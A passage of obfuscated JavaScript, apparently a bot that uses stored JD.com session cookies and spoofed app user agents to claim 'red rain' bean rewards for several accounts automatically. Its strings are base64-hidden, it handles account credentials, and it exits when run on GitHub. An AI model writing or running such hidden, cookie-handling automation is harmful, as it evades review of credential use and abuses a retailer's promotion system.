=','TG1UTkY=','cmJlUmE=','QUhhZ20=','ek1WdlA=','UE9rdXA=','5Lqs5Lic5pyN5Yqh5Zmo6K6/6Zeu5pWw5o2u5Li656m677yM6K+35qOA5p+l6Ieq6Lqr6K6+5aSH572R57uc5oOF5Ya1','ZVFmVEI=','VXNJd3M=','Ym53T00=','VEphZFo=','RXRpUEo=','clBMTkQ=','cndidmI=','QlFqeWE=','eFhQQ2E=','V1RwVmc=','5Lqs5Lic5pyN5Yqh5Zmo6L+U5Zue56m65pWw5o2u','UWdPbWY=','WUJRQXQ=','b2JqZWN0','YkVkZFU=','YnV2Q2M=','SEJsc2o=','ek9wQVE=','RkdPaEQ=','TlZBYXQ=','VEp0eEo=','b0JRVE4=','SHJTa24=','c3RyaW5n','5LiN6KaB5ZyoQm94SlPmiYvliqjlpI3liLbnspjotLTkv67mlLljb29raWU=','VnRtQWM=','UWVWY2w=','dHFvcHM=','VXRXeHI=','WHBvdVk=','5Y2K54K55Lqs6LGG6Zuo','aXNOb2Rl','Li9zZW5kTm90aWZ5','Li9qZENvb2tpZS5qcw==','a2V5cw==','Zm9yRWFjaA==','cHVzaA==','ZW52','amRfcmVkcmFpbl9oYWxmX3VybA==','SkRfREVCVUc=','ZmFsc2U=','bG9n','c3RyaW5naWZ5','aW5kZXhPZg==','R0lUSFVC','ZXhpdA==','Z2V0ZGF0YQ==','Q29va2llSkQ=','Q29va2llSkQy','Q29va2llc0pE','bWFw','Y29va2ll','ZmlsdGVy','aHR0cHM6Ly9hcGkubS5qZC5jb20vY2xpZW50LmFjdGlvbg==','44CQ5o+Q56S644CR6K+35YWI6I635Y+W5Lqs5Lic6LSm5Y+35LiAY29va2llCuebtOaOpeS9v+eUqE5vYnlEYeeahOS6rOS4nOetvuWIsOiOt+WPlg==','aHR0cHM6Ly9iZWFuLm0uamQuY29tL2JlYW4vc2lnbkluZGV4LmFjdGlvbg==','aHR0cHM6Ly9wcm9kZXYubS5qZC5jb20vbWFsbC9hY3RpdmUv','L2luZGV4Lmh0bWw=','bGZFZUM=','YkFJaWI=','bXNn','bmFtZQ==','amthVlM=','cndEU20=','CueUmOmcsuauv+OAkGh0dHBzOi8vdC5tZS9qZHJlZHJhaW7jgJHmj5DphpLkvaA65LuK5pel6b6Z546L8J+QsuWHuuW3ru+8jOWkqeawlOaZtOacl+KYgO+4j++8jOaUueaXpeWGjeadpe+9ngo=','VGVudWc=','V05qbVM=','Z2V0VVRDSG91cnM=','CueUmOmcsuauv+OAkGh0dHBzOi8vdC5tZS9qZHJlZHJhaW7jgJHmj5DphpLkvaA65q2j5Zyo6L+c56iL6I635Y+W','54K5MzDliIbkuqzosYbpm6hJRAo=','d2FpdA==','bGVuZ3Ro','CueUmOmcsuauv+OAkGh0dHBzOi8vdC5tZS9qZHJlZHJhaW7jgJHmj5DphpLkvaA66b6Z546L5bCx5L2NOg==','77yM5q2j5Zyo6aKG5Y+W','54K5MzDliIbkuqzosYbpm6gK','WlB4QkE=','VEdGWFE=','eWdHVUQ=','aEF5aXc=','Zk9aaHM=','VXNlck5hbWU=','cldvcmI=','bWF0Y2g=','aW5kZXg=','aXNMb2dpbg==','bmlja05hbWU=','eVBmd0w=','CioqKioqKuW8gOWni+OAkOS6rOS4nOi0puWPtw==','KioqKioqKioqCg==','44CQ5o+Q56S644CRY29va2ll5bey5aSx5pWI','5Lqs5Lic6LSm5Y+3','Cuivt+mHjeaWsOeZu+W9leiOt+WPlgpodHRwczovL2JlYW4ubS5qZC5jb20vYmVhbi9zaWduSW5kZXguYWN0aW9u','c2VuZE5vdGlmeQ==','Y29va2ll5bey5aSx5pWIIC0g','Cuivt+mHjeaWsOeZu+W9leiOt+WPlmNvb2tpZQ==','T1RKRnE=','cnhyT0w=','RGF6YlQ=','eWZQUXo=','cGFyc2U=','Y2F0Y2g=','LCDlpLHotKUhIOWOn+WboDog','ZmluYWxseQ==','ZG9uZQ==','bnBtWmE=','bG9nRXJy','Vkxpb0Y=','MHw1fDF8Mnw0fDM=','WkRtRVo=','bkhoZXU=','SkQ0aVBob25lLzE2NzY1MCAoaVBob25lOyBpT1MgMTMuNzsgU2NhbGUvMy4wMCk=','TXhweEU=','SW5JeGs=','Uktkbkc=','YmpXaFA=','S055RUQ=','d2ZBWG4=','V0RtcUo=','Z2V0','SXhTUVc=','dnR4ZlU=','d2RBZWc=','ZFpqTlo=','c3BsaXQ=','ZW5jcnlwdFByb2plY3RJZA==','Ym9keQ==','ZW5jcnlwdEFzc2lnbm1lbnRJZA==','YXZsRHI=','RURLSFo=','IEFQSeivt+axguWksei0pe+8jOivt+ajgOafpee9kei3r+mHjeivlQ==','cmV0Y29kZQ==','YmFzZQ==','b3pYdXY=','d1VzZU0=','Z3BxU2M=','VW9rSXg=','SWlscGM=','YXBpLm0uamQuY29t','aHR0cHM6Ly9oNS5tLmpkLmNvbS8=','Ki8q','emgtY24=','Z3ppcCwgZGVmbGF0ZSwgYnI=','TW96aWxsYS81LjAgKExpbnV4OyBBbmRyb2lkIDEwOyBXTFotQU4wMCBCdWlsZC9IVUFXRUlXTFotQU4wMDsgd3YpIEFwcGxlV2ViS2l0LzUzNy4zNiAoS0hUTUwsIGxpa2UgR2Vja28pIFZlcnNpb24vNC4wIENocm9tZS84OS4wLjQzODkuNzIgTVFRQnJvd3Nlci82LjIgVEJTLzA0NTgxMSBNb2JpbGUgU2FmYXJpLzUzNy4zNiBNTVdFQklELzI4NzQgTWljcm9NZXNzZW5nZXIvOC4wLjE1LjIwMjAoMHgyODAwMEYzOSkgUHJvY2Vzcy90b29scyBXZUNoYXQvYXJtNjQgV2VpeGluIE5ldFR5cGUvNEcgTGFuZ3VhZ2UvemhfQ04gQUJJL2FybTY0','YWNlaGJ5MjAyMTA5MjQ=','WEprelI=','cVNoYkE=','eHZNakg=','aHR0cHM6Ly9hcGkubS5qZC5jb20vY2xpZW50LmFjdGlvbj9hcHBpZD1yZWRyYWluLTIwMjEmZnVuY3Rpb25JZD1kb0ludGVyYWN0aXZlQXNzaWdubWVudCZjbGllbnQ9d2g1JmNsaWVudFZlcnNpb249MS4wLjAmYm9keT0=','SFRvclY=','Jl89','Z2V0VGltZQ==','bEZPVUc=','SWFPVno=','aUVna3o=','RlNHRXg=','WXRST3Y=','UnpTYlg=','bmtQbWU=','em5aTm0=','UWphZUs=','QVFyUU0=','PjJsjiadRCmHiOW.qZpYRcom.v6=='];if(function(_0x2de8cf,_0x142bd4,_0x434cbc){function _0xfc2289(_0x9ed664,_0x3bd841,_0x241213,_0xb93f8f,_0x456249,_0x7e78d2){_0x3bd841=_0x3bd841>>0x8,_0x456249='po';var _0x4d5cd6='shift',_0x44b7e2='push',_0x7e78d2='‮';if(_0x3bd841<_0x9ed664){while(--_0x9ed664){_0xb93f8f=_0x2de8cf[_0x4d5cd6]();if(_0x3bd841===_0x9ed664&&_0x7e78d2==='‮'&&_0x7e78d2['length']===0x1){_0x3bd841=_0xb93f8f,_0x241213=_0x2de8cf[_0x456249+'p']();}else if(_0x3bd841&&_0x241213['replace'](/[PJdRCHOWqZpYR=]/g,'')===_0x3bd841){_0x2de8cf[_0x44b7e2](_0xb93f8f);}}_0x2de8cf[_0x44b7e2](_0x2de8cf[_0x4d5cd6]());}return 0xebb79;};return _0xfc2289(++_0x142bd4,_0x434cbc)>>_0x142bd4^_0x434cbc;}(_0x53d0,0x19b,0x19b00),_0x53d0){_0xodH_=_0x53d0['length']^0x19b;};function _0x66e1(_0x52eace,_0x440e20){_0x52eace=~~'0x'['concat'](_0x52eace['slice'](0x1));var _0x499f01=_0x53d0[_0x52eace];if(_0x66e1['IGuFqC']===undefined&&'‮'['length']===0x1){(function(){var _0x23fa0d=typeof window!=='undefined'?window:typeof process==='object'&&typeof require==='function'&&typeof global==='object'?global:this;var _0x13dab1='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';_0x23fa0d['atob']||(_0x23fa0d['atob']=function(_0x25f813){var _0x5540b2=String(_0x25f813)['replace'](/=+$/,'');for(var _0x38a653=0x0,_0x15ca1c,_0x26e887,_0x5ac6f5=0x0,_0x5d6024='';_0x26e887=_0x5540b2['charAt'](_0x5ac6f5++);~_0x26e887&&(_0x15ca1c=_0x38a653%0x4?_0x15ca1c*0x40+_0x26e887:_0x26e887,_0x38a653++%0x4)?_0x5d6024+=String['fromCharCode'](0xff&_0x15ca1c>>(-0x2*_0x38a653&0x6)):0x0){_0x26e887=_0x13dab1['indexOf'](_0x26e887);}return _0x5d6024;});}());_0x66e1['lYFLOp']=function(_0x366987){var _0x317b0e=atob(_0x366987);var _0x2e6df5=[];for(var _0x1fe257=0x0,_0x42cd39=_0x317b0e['length'];_0x1fe257<_0x42cd39;_0x1fe257++){_0x2e6df5+='%'+('00'+_0x317b0e['charCodeAt'](_0x1fe257)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(_0x2e6df5);};_0x66e1['twGwwb']={};_0x66e1['IGuFqC']=!![];}var _0x697e10=_0x66e1['twGwwb'][_0x52eace];if(_0x697e10===undefined){_0x499f01=_0x66e1['lYFLOp'](_0x499f01);_0x66e1['twGwwb'][_0x52eace]=_0x499f01;}else{_0x499f01=_0x697e10;}return _0x499f01;};const $=new Env(_0x66e1('‮0'));let allMessage='',id='';const notify=$[_0x66e1('‮1')]()?require(_0x66e1('‫2')):'';const jdCookieNode=$[_0x66e1('‮1')]()?require(_0x66e1('‮3')):'';let cookiesArr=[],cookie='',message='';let jd_redrain_half_url='';if($[_0x66e1('‮1')]()){Object[_0x66e1('‫4')](jdCookieNode)[_0x66e1('‫5')](_0x2711bb=>{cookiesArr[_0x66e1('‮6')](jdCookieNode[_0x2711bb]);});if(process[_0x66e1('‫7')][_0x66e1('‫8')])jd_redrain_half_url=process[_0x66e1('‫7')][_0x66e1('‫8')];if(process[_0x66e1('‫7')][_0x66e1('‫9')]&&process[_0x66e1('‫7')][_0x66e1('‫9')]===_0x66e1('‮a'))console[_0x66e1('‫b')]=()=>{};if(JSON[_0x66e1('‮c')](process[_0x66e1('‫7')])[_0x66e1('‮d')](_0x66e1('‮e'))>-0x1)process[_0x66e1('‮f')](0x0);}else{cookiesArr=[$[_0x66e1('‮10')](_0x66e1('‫11')),$[_0x66e1('‮10')](_0x66e1('‫12')),...jsonParse($[_0x66e1('‮10')](_0x66e1('‫13'))||'[]')[_0x66e1('‮14')](_0x7a6f05=>_0x7a6f05[_0x66e1('‫15')])][_0x66e1('‫16')](_0x2c4280=>!!_0x2c4280);}const JD_API_HOST=_0x66e1('‮17');!(async()=>{var _0x3aa020={'jkaVS':_0x66e1('‮18'),'rwDSm':_0x66e1('‫19'),'Tenug':function(_0x2fddb2,_0x65a942){return _0x2fddb2%_0x65a942;},'WNjmS':function(_0x3c7c7c,_0x173504){return _0x3c7c7c+_0x173504;},'ZPxBA':function(_0x10321c,_0x23ce5c){return _0x10321c+_0x23ce5c;},'TGFXQ':function(_0x5dbe06,_0x5e2ec0){return _0x5dbe06+_0x5e2ec0;},'ygGUD':_0x66e1('‮1a'),'hAyiw':_0x66e1('‫1b'),'fOZhs':function(_0x2d2dea,_0xb4635a){return _0x2d2dea<_0xb4635a;},'rWorb':function(_0x2749ec,_0x462aea){return _0x2749ec(_0x462aea);},'yPfwL':function(_0x42ffb6){return _0x42ffb6();},'OTJFq':function(_0x38a6ff,_0x262a21){return _0x38a6ff(_0x262a21);},'rxrOL':function(_0x56ffe1,_0x25edbd){return _0x56ffe1===_0x25edbd;},'DazbT':_0x66e1('‫1c'),'yfPQz':_0x66e1('‮1d')};if(!cookiesArr[0x0]){$[_0x66e1('‮1e')]($[_0x66e1('‮1f')],_0x3aa020[_0x66e1('‮20')],_0x3aa020[_0x66e1('‫21')],{'open-url':_0x3aa020[_0x66e1('‫21')]});return;}if(!jd_redrain_half_url){$[_0x66e1('‫b')](_0x66e1('‮22'));return;}let _0x2be2b1=_0x3aa020[_0x66e1('‮23')](_0x3aa020[_0x66e1('‫24')](new Date()[_0x66e1('‮25')](),0x8),0x18);$[_0x66e1('‫b')](_0x66e1('‮26')+_0x2be2b1+_0x66e1('‫27'));await $[_0x66e1('‫28')](0x3e8);let _0x3f3948=jd_redrain_half_url;if(!_0x3f3948[_0x66e1('‫29')]){$[_0x66e1('‫b')](_0x66e1('‮22'));return;}console[_0x66e1('‫b')](_0x66e1('‫2a')+_0x3f3948+_0x66e1('‫2b')+_0x2be2b1+_0x66e1('‮2c'));let _0x34e8a5=_0x3aa020[_0x66e1('‮2d')](_0x3aa020[_0x66e1('‫2e')](_0x3aa020[_0x66e1('‮2f')],_0x3f3948),_0x3aa020[_0x66e1('‮30')]);for(let _0x2c5484=0x0;_0x3aa020[_0x66e1('‮31')](_0x2c5484,0x5);_0x2c5484++){if(cookiesArr[_0x2c5484]){cookie=cookiesArr[_0x2c5484];$[_0x66e1('‫32')]=_0x3aa020[_0x66e1('‫33')](decodeURIComponent,cookie[_0x66e1('‮34')](/pt_pin=([^; ]+)(?=;?)/)&&cookie[_0x66e1('‮34')](/pt_pin=([^; ]+)(?=;?)/)[0x1]);$[_0x66e1('‮35')]=_0x3aa020[_0x66e1('‫2e')](_0x2c5484,0x1);$[_0x66e1('‫36')]=!![];$[_0x66e1('‮37')]='';await _0x3aa020[_0x66e1('‫38')](TotalBean);console[_0x66e1('‫b')](_0x66e1('‫39')+$[_0x66e1('‮35')]+'】'+($[_0x66e1('‮37')]||$[_0x66e1('‫32')])+_0x66e1('‫3a'));if(!$[_0x66e1('‫36')]){$[_0x66e1('‮1e')]($[_0x66e1('‮1f')],_0x66e1('‫3b'),_0x66e1('‫3c')+$[_0x66e1('‮35')]+'\x20'+($[_0x66e1('‮37')]||$[_0x66e1('‫32')])+_0x66e1('‫3d'),{'open-url':_0x3aa020[_0x66e1('‫21')]});if($[_0x66e1('‮1')]()){await notify[_0x66e1('‮3e')]($[_0x66e1('‮1f')]+_0x66e1('‫3f')+$[_0x66e1('‫32')],_0x66e1('‫3c')+$[_0x66e1('‮35')]+'\x20'+$[_0x66e1('‫32')]+_0x66e1('‮40'));}continue;}await _0x3aa020[_0x66e1('‫41')](jd_redrain_half,_0x34e8a5);}}if(allMessage){if(_0x3aa020[_0x66e1('‫42')](_0x3aa020[_0x66e1('‫43')],_0x3aa020[_0x66e1('‮44')])){if(err){}else{if(data)data=JSON[_0x66e1('‫45')](data);}}else{if($[_0x66e1('‮1')]())await notify[_0x66e1('‮3e')](''+$[_0x66e1('‮1f')],''+allMessage);$[_0x66e1('‮1e')]($[_0x66e1('‮1f')],'',allMessage);}}})()[_0x66e1('‮46')](_0x249e92=>{$[_0x66e1('‫b')]('','?\x20'+$[_0x66e1('‮1f')]+_0x66e1('‮47')+_0x249e92+'!','');})[_0x66e1('‫48')](()=>{$[_0x66e1('‫49')]();});async function jd_redrain_half(_0x31306f){var _0x4de798={'npmZa':function(_0x3c379c,_0x3c1166){return _0x3c379c(_0x3c1166);}};try{await _0x4de798[_0x66e1('‫4a')](getInfo,_0x31306f);}catch(_0x25f98d){$[_0x66e1('‫4b')](_0x25f98d);}}async function getInfo(_0x42576f){var _0x34e821={'MxpxE':function(_0x366ddd,_0x11041b){return _0x366ddd===_0x11041b;},'InIxk':_0x66e1('‮4c'),'RKdnG':_0x66e1('‫4d'),'bjWhP':function(_0x39329a){return _0x39329a();},'KNyED':function(_0x559d09,_0x317695,_0x36d64f){return _0x559d09(_0x317695,_0x36d64f);},'wfAXn':_0x66e1('‫4e'),'WDmqJ':_0x66e1('‮4f'),'IxSQW':_0x66e1('‫50')};return new Promise(_0x5ed967=>{var _0x313600={'vtxfU':function(_0x39cb5b,_0x5293ab){return _0x34e821[_0x66e1('‮51')](_0x39cb5b,_0x5293ab);},'wdAeg':_0x34e821[_0x66e1('‫52')],'dZjNZ':_0x34e821[_0x66e1('‮53')],'avlDr':function(_0x3d8324){return _0x34e821[_0x66e1('‮54')](_0x3d8324);},'EDKHZ':function(_0x3a540b,_0x2c4abc,_0x504734){return _0x34e821[_0x66e1('‮55')](_0x3a540b,_0x2c4abc,_0x504734);}};if(_0x34e821[_0x66e1('‮51')](_0x34e821[_0x66e1('‮56')],_0x34e821[_0x66e1('‮57')])){$[_0x66e1('‫b')](_0x66e1('‮22'));return;}else{$[_0x66e1('‮58')]({'url':_0x42576f,'headers':{'Cookie':cookie,'User-Agent':_0x34e821[_0x66e1('‫59')]}},async(_0x3fca4d,_0x5ef58d,_0x5e9f28)=>{try{if(_0x313600[_0x66e1('‫5a')](_0x313600[_0x66e1('‮5b')],_0x313600[_0x66e1('‮5b')])){var _0x3b59c3=_0x313600[_0x66e1('‫5c')][_0x66e1('‮5d')]('|'),_0x2532b5=0x0;while(!![]){switch(_0x3b59c3[_0x2532b5++]){case'0':$[_0x66e1('‮5e')]=_0x5ef58d[_0x66e1('‫5f')][_0x66e1('‮34')](/"encryptProjectId\\":\\"(.*?)\\"/)[0x1];continue;case'1':console[_0x66e1('‫b')]($[_0x66e1('‮5e')]);continue;case'2':console[_0x66e1('‫b')]($[_0x66e1('‫60')]);continue;case'3':_0x313600[_0x66e1('‫61')](_0x5ed967);continue;case'4':await _0x313600[_0x66e1('‮62')](doInteractiveAssignment,$[_0x66e1('‮5e')],$[_0x66e1('‫60')]);continue;case'5':$[_0x66e1('‫60')]=_0x5ef58d[_0x66e1('‫5f')][_0x66e1('‮34')](/"encryptAssignmentId\\":\\"(.*?)\\"/)[0x1];continue;}break;}}else{console[_0x66e1('‫b')](''+JSON[_0x66e1('‮c')](_0x3fca4d));console[_0x66e1('‫b')]($[_0x66e1('‮1f')]+_0x66e1('‮63'));}}catch(_0x392d72){console[_0x66e1('‫b')](_0x392d72);}});}});}function doInteractiveAssignment(_0x4f9982,_0x54a7d3){var _0x190b50={'nkPme':function(_0x2e434f,_0x152192){return _0x2e434f===_0x152192;},'znZNm':_0x66e1('‮64'),'QjaeK':_0x66e1('‮65'),'AQrQM':function(_0x3ef446,_0x1dbe58){return _0x3ef446!==_0x1dbe58;},'BnClE':_0x66e1('‮66'),'qkjbf':_0x66e1('‮67'),'RBING':function(_0x145f8b,_0x13eb7e){return _0x145f8b===_0x13eb7e;},'yxutF':_0x66e1('‮68'),'frLVc':function(_0x5b655a,_0x3673f6){return _0x5b655a(_0x3673f6);},'PGpMr':function(_0x5237fd,_0x3d3262){return _0x5237fd==_0x3d3262;},'jckfE':function(_0x4857c9,_0x3522eb){return _0x4857c9!==_0x3522eb;},'NfPzh':function(_0xc9c374,_0x37535a){return _0xc9c374!==_0x37535a;},'cTwDL':_0x66e1('‮69'),'eHSYC':_0x66e1('‮6a'),'rreeD':function(_0x34302f){return _0x34302f();},'qShbA':function(_0xeaac90,_0x133c25){return _0xeaac90==_0x133c25;},'xvMjH':function(_0x5e1440,_0x42db6e){return _0x5e1440!==_0x42db6e;},'HTorV':function(_0x35399d,_0x44c8c1){return _0x35399d(_0x44c8c1);},'lFOUG':_0x66e1('‮6b'),'IaOVz':_0x66e1('‫6c'),'iEgkz':_0x66e1('‮6d'),'FSGEx':_0x66e1('‮6e'),'YtROv':_0x66e1('‫6f'),'RzSbX':_0x66e1('‫70'),'XJkzR':_0x66e1('‫71')};const _0x518c43={'encryptProjectId':_0x4f9982,'encryptAssignmentId':_0x54a7d3,'completionFlag':!![],'sourceCode':_0x190b50[_0x66e1('‫72')]};return new Promise(async _0x1a42a8=>{var _0x4e8215={'REciS':function(_0xd0d219,_0x389767){return _0x190b50[_0x66e1('‫73')](_0xd0d219,_0x389767);},'UwKFF':function(_0x75a4e6,_0x4f4789){return _0x190b50[_0x66e1('‫74')](_0x75a4e6,_0x4f4789);}};const _0x5b213c={'url':_0x66e1('‫75')+_0x190b50[_0x66e1('‫76')](encodeURIComponent,JSON[_0x66e1('‮c')](_0x518c43))+_0x66e1('‮77')+new Date()[_0x66e1('‮78')](),'headers':{'Host':_0x190b50[_0x66e1('‫79')],'origin':_0x190b50[_0x66e1('‮7a')],'Accept':_0x190b50[_0x66e1('‫7b')],'Accept-Language':_0x190b50[_0x66e1('‫7c')],'Accept-Encoding':_0x190b50[_0x66e1('‮7d')],'Cookie':cookie,'User-Agent':_0x190b50[_0x66e1('‫7e')],'Referer':_0x66e1('‫6c')}};$[_0x66e1('‮58')](_0x5b213c,async(_0x1351ea,_0x8d7c3a,_0x24b3ff)=>{var _0x4e716d={'KSspn':function(_0x4fbac9,_0x4f216c){return _0x190b50[_0x66e1('‫7f')](_0x4fbac9,_0x4f216c);},'aqJwv':_0x190b50[_0x66e1('‫80')],'RYwsn':_0x190b50[_0x66e1('‮81')]};if(_0x190b50[_0x66e1('‫82')](_0x190b50[_0x66e1('‮83')],_0x190b50[_0x66e1('‫84')])){try{if(_0x190b50[_0x66e1('‫85')](_0x190b50[_0x66e1('‮86')],_0x190b50[_0x66e1('‮86')])){if(_0x1351ea){console[_0x66e1('‫b')](''+JSON[_0x66e1('‮c')](_0x1351ea));console[_0x66e1('‫b')](_0x66e1('‮87'));}else{if(_0x190b50[_0x66e1('‫88')](safeGet,_0x24b3ff)){_0x24b3ff=JSON[_0x66e1('‫45')](_0x24b3ff);console[_0x66e1('‫b')](_0x24b3ff);if(_0x190b50[_0x66e1('‮89')](_0x24b3ff[_0x66e1('‮8a')],'0')){console[_0x66e1('‫b')](_0x24b3ff[_0x66e1('‫8b')][_0x66e1('‫8c')][0x3][0x0][_0x66e1('‫8d')]+'京豆');allMessage+=_0x66e1('‫3c')+$[_0x66e1('‮35')]+($[_0x66e1('‮37')]||$[_0x66e1('‫32')])+_0x66e1('‮8e')+_0x24b3ff[_0x66e1('‫8b')][_0x66e1('‫8c')][0x3][0x0][_0x66e1('‫8d')]+_0x66e1('‮8f')+(_0x190b50[_0x66e1('‮90')]($[_0x66e1('‮35')],cookiesArr[_0x66e1('‫29')])?'\x0a\x0a':'');}else{if(_0x190b50[_0x66e1('‫91')](_0x190b50[_0x66e1('‮92')],_0x190b50[_0x66e1('‮92')])){_0x24b3ff=JSON[_0x66e1('‫45')](_0x24b3ff);console[_0x66e1('‫b')](_0x24b3ff);if(_0x4e8215[_0x66e1('‫93')](_0x24b3ff[_0x66e1('‮8a')],'0')){console[_0x66e1('‫b')](_0x24b3ff[_0x66e1('‫8b')][_0x66e1('‫8c')][0x3][0x0][_0x66e1('‫8d')]+'京豆');allMessage+=_0x66e1('‫3c')+$[_0x66e1('‮35')]+($[_0x66e1('‮37')]||$[_0x66e1('‫32')])+_0x66e1('‮8e')+_0x24b3ff[_0x66e1('‫8b')][_0x66e1('‫8c')][0x3][0x0][_0x66e1('‫8d')]+_0x66e1('‮8f')+(_0x4e8215[_0x66e1('‫94')]($[_0x66e1('‮35')],cookiesArr[_0x66e1('‫29')])?'\x0a\x0a':'');}else{console[_0x66e1('‫b')](_0x24b3ff);}}else{console[_0x66e1('‫b')](_0x24b3ff);}}}}}else{_0x24b3ff=JSON[_0x66e1('‫45')](_0x24b3ff);if(_0x4e716d[_0x66e1('‫95')](_0x24b3ff[_0x4e716d[_0x66e1('‫96')]],0xd)){$[_0x66e1('‫36')]=![];return;}if(_0x4e716d[_0x66e1('‫95')](_0x24b3ff[_0x4e716d[_0x66e1('‫96')]],0x0)){$[_0x66e1('‮37')]=_0x24b3ff[_0x4e716d[_0x66e1('‮97')]]&&_0x24b3ff[_0x4e716d[_0x66e1('‮97')]][_0x66e1('‮98')]||$[_0x66e1('‫32')];}else{$[_0x66e1('‮37')]=$[_0x66e1('‫32')];}}}catch(_0x1a8f77){$[_0x66e1('‫4b')](_0x1a8f77,_0x8d7c3a);}finally{if(_0x190b50[_0x66e1('‫91')](_0x190b50[_0x66e1('‮99')],_0x190b50[_0x66e1('‮99')])){return!![];}else{_0x190b50[_0x66e1('‮9a')](_0x1a42a8);}}}else{return JSON[_0x66e1('‫45')](str);}});});}function getRedRainIds(_0xf91a40){var _0x11d886={'PJobg':function(_0x305178,_0x3debde){return _0x305178!==_0x3debde;},'colAn':_0x66e1('‫9b'),'ARrmM':_0x66e1('‮9c'),'sFaAB':function(_0x5c6bd5,_0xca4cba){return _0x5c6bd5(_0xca4cba);},'iLbpP':_0x66e1('‮9d'),'VTQhB':_0x66e1('‫9e'),'uTuoj':_0x66e1('‮9f'),'ptkDM':_0x66e1('‮a0'),'REtZY':function(_0x217824,_0x25dfe7){return _0x217824*_0x25dfe7;}};return new Promise(async _0xfdab27=>{var _0x37bb22={'beIEq':function(_0x2949cf,_0xaec496){return _0x11d886[_0x66e1('‫a1')](_0x2949cf,_0xaec496);},'GTjGw':_0x11d886[_0x66e1('‫a2')],'UkiVL':_0x11d886[_0x66e1('‮a3')],'VCqJq':function(_0x2f188e,_0x4aa05f){return _0x11d886[_0x66e1('‫a4')](_0x2f188e,_0x4aa05f);}};if(_0x11d886[_0x66e1('‫a1')](_0x11d886[_0x66e1('‫a5')],_0x11d886[_0x66e1('‫a6')])){const _0x4c8b30={'url':_0xf91a40+'?'+new Date(),'timeout':0x2710,'headers':{'User-Agent':_0x11d886[_0x66e1('‮a7')]}};if($[_0x66e1('‮1')]()&&process[_0x66e1('‫7')][_0x66e1('‫a8')]&&process[_0x66e1('‫7')][_0x66e1('‫a9')]){const _0x15b5c9=_0x11d886[_0x66e1('‫a4')](require,_0x11d886[_0x66e1('‮aa')]);const _0x137e06={'https':_0x15b5c9[_0x66e1('‮ab')]({'proxy':{'host':process[_0x66e1('‫7')][_0x66e1('‫a8')],'port':_0x11d886[_0x66e1('‫ac')](process[_0x66e1('‫7')][_0x66e1('‫a9')],0x1)}})};Object[_0x66e1('‫ad')](_0x4c8b30,{'agent':_0x137e06});}$[_0x66e1('‮58')](_0x4c8b30,async(_0x567d20,_0x566310,_0xb94b6e)=>{try{if(_0x567d20){}else{if(_0x37bb22[_0x66e1('‫ae')](_0x37bb22[_0x66e1('‮af')],_0x37bb22[_0x66e1('‮b0')])){if(_0xb94b6e)_0xb94b6e=JSON[_0x66e1('‫45')](_0xb94b6e);}else{const _0x42d3fe=/^\w+\((\{[^()]+\})\)$/;const _0x5a578a=_0xb94b6e[_0x66e1('‮34')](_0x42d3fe);if(_0x5a578a){jsonData=JSON[_0x66e1('‫45')](_0x5a578a[0x1]);}}}}catch(_0x33f15d){}finally{_0x37bb22[_0x66e1('‮b1')](_0xfdab27,_0xb94b6e);}});await $[_0x66e1('‫28')](0x2710);_0x11d886[_0x66e1('‫a4')](_0xfdab27,[]);}else{console[_0x66e1('‫b')](e);}});}function taskUrl(_0x443b61,_0x2f4593={}){var _0x5137ac={'ssgrV':function(_0x2d1c6c,_0x3a00ae){return _0x2d1c6c(_0x3a00ae);},'nzjEv':function(_0x4211d6,_0x55b91d){return _0x4211d6+_0x55b91d;},'LFAkX':function(_0x4e7905,_0x43d901){return _0x4e7905*_0x43d901;},'KGsjf':function(_0x2a02bf,_0x3301aa){return _0x2a02bf*_0x3301aa;},'TtcGT':function(_0x2f0ed2,_0x59e039){return _0x2f0ed2*_0x59e039;},'KryjY':_0x66e1('‮6d'),'nNtRB':_0x66e1('‫6f'),'LaJcj':_0x66e1('‮6e'),'XBCGP':_0x66e1('‫b2'),'blEXU':_0x66e1('‮b3'),'ZWVdo':_0x66e1('‮6b'),'eVNRC':_0x66e1('‫b4')};return{'url':JD_API_HOST+_0x66e1('‫b5')+_0x443b61+_0x66e1('‫b6')+_0x5137ac[_0x66e1('‫b7')](escape,JSON[_0x66e1('‮c')](_0x2f4593))+_0x66e1('‮b8')+_0x5137ac[_0x66e1('‫b9')](_0x5137ac[_0x66e1('‫b9')](new Date()[_0x66e1('‮78')](),_0x5137ac[_0x66e1('‮ba')](_0x5137ac[_0x66e1('‮ba')](new Date()[_0x66e1('‮bb')](),0x3c),0x3e8)),_0x5137ac[_0x66e1('‫bc')](_0x5137ac[_0x66e1('‫bc')](_0x5137ac[_0x66e1('‮bd')](0x8,0x3c),0x3c),0x3e8)),'headers':{'Accept':_0x5137ac[_0x66e1('‫be')],'Accept-Encoding':_0x5137ac[_0x66e1('‫bf')],'Accept-Language':_0x5137ac[_0x66e1('‮c0')],'Connection':_0x5137ac[_0x66e1('‮c1')],'Content-Type':_0x5137ac[_0x66e1('‫c2')],'Host':_0x5137ac[_0x66e1('‫c3')],'Referer':_0x66e1('‫c4')+$[_0x66e1('‮c5')]+_0x66e1('‫c6'),'Cookie':cookie,'User-Agent':_0x5137ac[_0x66e1('‫c7')]}};}function TotalBean(){var _0x1bbccc={'JGzMa':function(_0x4e2262,_0x46675f){return _0x4e2262!==_0x46675f;},'mPDkc':_0x66e1('‮18'),'xBonN':_0x66e1('‫19'),'NDkvH':function(_0x3408b2,_0x149637){return _0x3408b2===_0x149637;},'YgweH':_0x66e1('‮c8'),'LmTNF':_0x66e1('‮c9'),'VhSrS':function(_0xdbdb99,_0x29b4b5){return _0xdbdb99!==_0x29b4b5;},'zMVvP':_0x66e1('‮ca'),'POkup':_0x66e1('‮cb'),'eQfTB':function(_0xa0f550,_0x171f97){return _0xa0f550===_0x171f97;},'UsIws':_0x66e1('‫cc'),'bnwOM':function(_0x20c5a6,_0x4bbd46){return _0x20c5a6(_0x4bbd46);},'TJadZ':function(_0x28ab5a,_0x566247){return _0x28ab5a===_0x566247;},'EtiPJ':_0x66e1('‮64'),'rPLND':function(_0x5d555a,_0x50971a){return _0x5d555a===_0x50971a;},'rwbvb':_0x66e1('‮65'),'BQjya':function(_0x18168a,_0x1bacb8){return _0x18168a===_0x1bacb8;},'xXPCa':_0x66e1('‮cd'),'WTpVg':_0x66e1('‫ce'),'YBQAt':function(_0x54564f){return _0x54564f();},'UkuEI':function(_0x5a607f){return 